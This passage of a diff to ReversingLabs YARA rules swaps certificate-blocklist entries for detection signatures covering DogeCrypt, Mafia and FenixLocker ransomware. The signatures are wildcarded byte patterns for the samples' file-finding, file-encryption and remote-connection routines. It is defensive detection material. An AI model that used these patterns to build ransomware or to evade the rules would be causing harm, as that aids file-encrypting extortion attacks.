?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF D6 8B + F0 83 FE ?? 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B + 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? + 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? + ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? + ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? + ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? + ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? + ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? + ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? + ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 + } + $encrypt_files_DogeCrypt_p2 = { + C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 83 + FA ?? 0F 82 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? + ?? 0F 82 ?? ?? ?? ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? E9 + ?? ?? ?? ?? 90 6A ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF + 15 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? BA ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? 0F 42 DA 85 C0 74 + ?? 85 C9 74 ?? 51 8D 85 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? + 53 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? EB ?? 56 8B 35 ?? ?? ?? ?? FF D6 57 + FF D6 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 52 51 E8 + ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 33 C0 66 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? + ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 + C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 + 5D C3 + } + $find_files_DogeCrypt = { + 8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41 + F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ?? ?? + ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? FF + 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 5D ?? 8B + CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59 EB ?? 8B + 43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 FF + 57 57 57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 + C5 89 45 ?? 8B 4D ?? 53 8B 5D ?? 57 8B 7D ?? 89 9D ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74 + ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8A 11 80 FA + ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 53 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 DB + 80 FA ?? 74 ?? 80 FA ?? 74 ?? 8A C3 80 FA ?? 75 ?? B0 ?? 0F B6 C0 2B CF 41 F7 D8 56 + 1B C0 23 C1 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? + 83 C4 ?? 8D 85 ?? ?? ?? ?? 53 53 53 50 53 57 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ?? + ?? 83 FE ?? 75 ?? 50 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 83 FE ?? 74 ?? 56 FF 15 + ?? ?? ?? ?? 8B C3 5E 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08 + C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ?? + 80 F9 ?? 75 ?? 38 9D ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 + E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 + 8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 + } + $decrypt_DesucryptKeyContainer_DogeCrypt = { + 68 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? 8D 55 ?? 83 7D ?? ?? 8B 5D ?? 8B 35 ?? ?? ?? ?? 0F 43 D3 A1 ?? ?? ?? ?? 8B + 4D ?? 2B C6 89 75 ?? 3B C8 77 ?? 83 3D ?? ?? ?? ?? ?? 8D 3C 31 8D 04 09 89 3D ?? ?? + ?? ?? 50 8B 45 ?? BE ?? ?? ?? ?? 0F 43 35 ?? ?? ?? ?? 52 8D 04 46 50 E8 ?? ?? ?? ?? + 83 C4 ?? 33 C0 66 89 04 7E EB ?? 51 52 C6 45 ?? ?? FF 75 ?? 51 B9 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B 5D ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8D 0C 45 ?? ?? ?? ?? + 8B C3 81 F9 ?? ?? ?? ?? 72 ?? 8B 5B ?? 83 C1 ?? 2B C3 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? + ?? ?? 51 53 E8 ?? ?? ?? ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 6A ?? 0F 43 + 05 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? + 8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 6A ?? 68 ?? ?? + ?? ?? 56 FF D3 83 F8 ?? 0F 85 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 50 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 8D 45 ?? 6A ?? + 50 C6 07 ?? FF 35 ?? ?? ?? ?? 57 56 FF D3 83 F8 ?? 75 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? + ?? ?? 57 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? BA ?? ?? ?? ?? B9 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? + ?? ?? EB ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? + ?? ?? 8B E5 5D C3 E8 ?? ?? ?? ?? E8 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DTOPTOOLZ Co.,Ltd." and pe.signatures [ i ] . serial == "47:d5:d5:37:2b:cb:15:62:b4:c9:f4:c2:bd:f1:35:87" and 1400803199 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $decrypt_DesucryptKeyContainer_DogeCrypt ) and ( $find_files_DogeCrypt ) and ( all of ( $encrypt_files_DogeCrypt_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_3Ac10E68F1Ce519E84Ddcd28B11Fa542 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Mafia : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing Sakula malware." + description = "Yara rule that detects Mafia ransomware." author = "ReversingLabs" - id = "9cc0e518-84c8-5b23-b8cb-e0e0fe7849bd" - date = "2020-08-05" - modified = "2023-11-08" + id = "67f09000-751f-539a-b222-25b1502c2728" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2104-L2120" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Mafia.yara#L1-L142" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "dac3b6b7609ec1e82afe4f9c6c14e2d32b6f5d8d49c59d6c605f2a94d71bc107" + logic_hash = "5c17b799f0b4f1f8f72a2e4203a6606f7783ceec2034694f8a21ff65e5afdb26" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Mafia" + tc_detection_factor = 5 importance = 25 + strings: + $find_files = { + 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? + ?? ?? 53 56 57 68 ?? ?? ?? ?? 8D 44 24 ?? 8B F1 6A ?? 50 89 74 24 ?? C7 44 24 ?? ?? + ?? ?? ?? E8 ?? ?? ?? ?? 33 C9 68 ?? ?? ?? ?? 51 8D 94 24 ?? ?? ?? ?? 52 66 89 8C 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 68 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 51 66 89 84 + 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? + ?? 83 C4 ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? + 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? + ?? ?? ?? 8B 35 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 68 ?? ?? ?? ?? 8D + 8C 24 ?? ?? ?? ?? 6A ?? 51 E8 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 8D 84 24 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? 51 FF D6 B8 ?? ?? + ?? ?? 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 56 81 EC ?? ?? + ?? ?? B9 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? 8B FC F3 A5 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? + ?? 8D 54 24 ?? 52 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 44 24 ?? 50 81 EC ?? ?? ?? ?? + B9 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? 8B FC F3 A5 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 8D + 4C 24 ?? 51 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 53 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? + ?? 5F 5E 5B 33 CC 33 C0 E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $remote_connection_p1 = { + 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 33 C0 57 + 68 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 66 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 + ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 52 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? 6A ?? 51 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? + 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 52 E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 83 C4 ?? 33 C0 68 ?? + ?? ?? ?? 50 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 51 E8 ?? + ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 33 C0 89 85 + } + $remote_connection_p2 = { + 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? + ?? 66 89 95 ?? ?? ?? ?? 8B 48 ?? 8B 11 8B 02 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8D + 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF + 15 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? + 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 50 ?? 8B FF 8A 08 40 84 C9 75 ?? 6A + ?? 2B C2 50 8D 8D ?? ?? ?? ?? 51 56 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 95 ?? + ?? ?? ?? 52 56 FF D3 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 + C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D7 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 50 + 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF + D7 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 51 E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D + 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 FF D7 + 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? ?? ?? 53 8D 85 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 FF D7 68 ?? ?? ?? ?? 8D 95 + ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 40 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? EB + ?? 68 ?? ?? ?? ?? FF D7 56 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? + 8B E5 5D C3 68 + } + $encrypt_files_p1 = { + 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? + ?? ?? 53 56 8B 75 ?? 57 68 ?? ?? ?? ?? 33 DB 8D 8C 24 ?? ?? ?? ?? 33 C0 53 51 66 89 + 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 54 24 ?? 53 52 89 5C 24 + ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 44 24 ?? 53 50 89 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 + ?? 33 C0 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 53 51 89 5C 24 ?? 89 44 24 ?? 89 44 24 + ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 88 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? + 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 53 52 88 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 + ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 53 50 88 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 + C4 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 33 C9 53 52 66 89 8C 24 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B 4D ?? 8B C1 83 C4 ?? 48 74 ?? 48 74 ?? 8B 45 ?? 8B 55 ?? 50 52 51 56 FF + 15 ?? ?? ?? ?? 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C2 + } + $encrypt_files_p2 = { + 53 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E 5B 33 CC 33 C0 E8 ?? ?? ?? ?? 8B E5 + 5D C2 ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? + FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? 33 F6 E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 79 ?? 48 0D ?? ?? ?? ?? 40 + 88 86 ?? ?? ?? ?? 46 83 FE ?? 7C ?? 33 F6 E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 79 ?? 48 0D + ?? ?? ?? ?? 40 88 86 ?? ?? ?? ?? 46 83 FE ?? 7C ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8D 49 ?? 0F B6 83 ?? ?? ?? ?? 6A + ?? 8D 94 24 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? 51 8D 94 + 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 83 C4 ?? 8B C8 + 8A 10 40 84 D2 75 ?? 8D BC 24 ?? ?? ?? ?? 2B C1 8B F1 4F 8A 4F ?? 47 84 C9 75 ?? 8B + C8 C1 E9 ?? F3 A5 8B C8 83 E1 ?? 8D 84 24 ?? ?? ?? ?? F3 A4 8B C8 8A 10 40 84 D2 75 + ?? BF ?? ?? ?? ?? 2B C1 8B F1 4F 8A 4F ?? 47 84 C9 75 ?? 8B C8 C1 E9 ?? F3 A5 8B C8 + } + $encrypt_files_p3 = { + 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 83 E1 ?? 6A ?? 50 F3 A4 E8 ?? ?? ?? ?? 83 C4 ?? + 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A ?? 51 E8 ?? ?? ?? ?? 43 83 C4 ?? 83 FB ?? 0F + 8C ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? + ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 DB EB ?? 8D A4 24 ?? ?? ?? ?? EB ?? 8D 49 ?? + 0F B6 83 ?? ?? ?? ?? 6A ?? 8D 94 24 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C + 24 ?? ?? ?? ?? 51 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ?? + ?? ?? ?? 83 C4 ?? 8B C8 8A 10 40 84 D2 75 ?? 8D BC 24 ?? ?? ?? ?? 2B C1 8B F1 4F 8A + 4F ?? 47 84 C9 75 ?? 8B C8 C1 E9 ?? F3 A5 8B C8 83 E1 ?? 8D 84 24 ?? ?? ?? ?? F3 A4 + 8B C8 8A 10 40 84 D2 75 ?? BF ?? ?? ?? ?? 2B C1 8B F1 4F 8A 4F ?? 47 84 C9 75 ?? 8B + } + $encrypt_files_p4 = { + C8 C1 E9 ?? F3 A5 8B C8 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 83 E1 ?? 6A ?? 50 F3 A4 + E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A ?? 51 E8 ?? ?? ?? ?? + 43 83 C4 ?? 83 FB ?? 0F 8C ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? BF ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? + 56 FF D3 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 6A ?? 6A ?? 56 68 ?? ?? ?? ?? + 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 89 44 8C ?? 41 89 4C 24 ?? 47 83 C6 + ?? 83 FF ?? 7E ?? 8B 54 24 ?? 6A ?? 6A ?? 8D 4C 24 ?? 51 52 FF 15 ?? ?? ?? ?? 8D 44 + 24 ?? 50 8D 4C 24 ?? 51 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? FF 15 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "U-Tech IT service" and pe.signatures [ i ] . serial == "3a:c1:0e:68:f1:ce:51:9e:84:dd:cd:28:b1:1f:a5:42" and 1420156799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_31062E483E0106B18C982F0053185C36 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Fenixlocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing Sakula malware." + description = "Yara rule that detects FenixLocker ransomware." author = "ReversingLabs" - id = "84bce7c1-efba-5a76-8865-dcfcc8e50d41" - date = "2020-08-05" - modified = "2023-11-08" + id = "4868ced4-885d-548c-993c-ae25ab188172" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2122-L2138" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.FenixLocker.yara#L1-L143" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e45fc5b4d1b9f5cd35c56aad381e26e30675a9d99747cd318f3c77ea2af0e14a" + logic_hash = "72712616df2c73c5c17696a7c5cb93f767910acf5f49cda27373fccfa29c5a4d" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "FenixLocker" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files_1 = { + 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 68 ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 8B F1 E8 ?? ?? ?? ?? 83 C4 + ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 6A ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 8D 85 ?? + ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? + E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5E 8B 4D ?? 33 CD E8 ?? ?? + ?? ?? 8B E5 5D C3 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? FF + B5 